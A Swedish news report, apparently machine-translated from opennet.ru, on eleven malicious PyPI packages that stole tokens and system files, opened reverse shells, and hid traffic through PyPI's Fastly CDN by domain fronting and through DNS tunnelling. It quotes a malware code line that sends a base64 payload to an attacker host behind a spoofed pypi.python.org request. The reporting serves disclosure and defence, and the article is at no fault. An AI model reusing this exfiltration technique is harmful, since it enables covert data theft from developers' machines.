Skadliga bibliotek har identifierats i PyPI-katalogen som använder PyPI CDN för att dölja kommunikationskanalen

I PyPI-katalogen (Python Package Index) identifierades 11 paket som innehöll skadlig kod. Innan problem identifierades hade paketen laddats ner cirka 38 tusen gånger totalt. De upptäckta skadliga paketen är kända för deras användning av sofistikerade metoder för att dölja kommunikationskanaler med angriparnas servrar.

  • importantpackage (6305 nedladdningar), important-package (12897) - upprättade en anslutning till en extern server under sken av att ansluta till pypi.python.org för att ge skalåtkomst till systemet (omvänt skal) och använde trevorc2-programmet för att dölja kommunikationskanal.
  • pptest (10001), ipboards (946) - använde DNS som en kommunikationskanal för att överföra information om systemet (i det första paketet värdnamnet, arbetskatalogen, intern och extern IP, i det andra - användarnamnet och värdnamnet) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - identifierade Discord-tjänsttokenen i systemet och skickade den till en extern värd.
  • trrfab (287) - skickade identifieraren, värdnamnet och innehållet i /etc/passwd, /etc/hosts, /home till den externa värden.
  • 10Cent10 (490) - upprättade en omvänd skalanslutning med en extern värd.
  • yandex-yt (4183) - visade ett meddelande om att systemet har utsatts för intrång och omdirigeras till en sida med ytterligare information om ytterligare åtgärder som utfärdats via nda.ya.ru (api.ya.cc).

Särskilt anmärkningsvärt är metoden för att komma åt externa värdar som används i paketen viktiga paket och viktiga paket, som använde Fastly innehållsleveransnätverket som används i PyPI-katalogen för att dölja sin aktivitet. Faktum är att förfrågningar skickades till pypi.python.org-servern (inklusive att ange namnet python.org i SNI i HTTPS-begäran), men HTTP "Host"-huvudet inkluderade namnet på servern som kontrollerades av angriparna (sek. forward.io. global.prod.fastly.net). Innehållsleveransnätverket skickade en liknande begäran till den attackerande servern, med hjälp av parametrarna för TLS-anslutningen till pypi.python.org vid överföring av data.

PyPI-infrastrukturen drivs av Fastly-innehållsleveransnätverket, som använder Varnish transparent proxy för att cachelagra typiska förfrågningar, och som även använder TLS-certifikatbehandling på CDN-nivå, snarare än på slutservrarna, för att vidarebefordra HTTPS-förfrågningar via en proxy. Oavsett målvärd skickas förfrågningar till proxyn, som bestämmer den önskade värden med hjälp av HTTP "Host"-huvudet, och värddomännamnen är knutna till CDN-belastningsutjämnarens IP-adresser som är typiska för alla Fastly-klienter.

Angriparnas server registreras även hos CDN Fastly, som ger alla gratisplaner och till och med tillåter anonym registrering. Det är anmärkningsvärt att för att skicka förfrågningar till offret när man skapar ett "omvänt skal", används också ett schema, men initieras från sidan av angriparens värd. Från utsidan ser interaktion med angriparnas server ut som en legitim session med PyPI-katalogen, krypterad med ett PyPI TLS-certifikat. En liknande teknik, känd som "domänfronting", användes tidigare aktivt för att dölja värdnamnet när man kringgår blockering, genom att använda möjligheten i vissa CDN-nätverk för att komma åt HTTPS genom att indikera en fiktiv värd i SNI:n och faktiskt överföra namnet på begärd värd i HTTP-värdhuvudet i en TLS-session.

Skadliga bibliotek har identifierats i PyPI-katalogen som använder PyPI CDN för att dölja kommunikationskanalen

För att dölja skadlig aktivitet användes TrevorC2-paketet dessutom för att göra interaktion med servern liknande vanlig webbnavigering, till exempel skickades skadliga förfrågningar under sken av att ladda ner bilden "https://pypi.python.org/images/ guid=” med informationskodning i guideparameter. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Paketen pptest och ipboards använde en annan metod för att dölja nätverksaktivitet, baserat på kodning av användbar information i frågor till DNS-servern. Skadlig programvara överför information genom att utföra DNS-förfrågningar som "nu4timjagq4fimbuhe.example.com", där data som överförs till kontrollservern kodas med formatet base64 i underdomännamnet. Angriparen tar emot dessa meddelanden genom att kontrollera DNS-servern för domänen example.com.

Källa: opennet.ru

Lägg en kommentar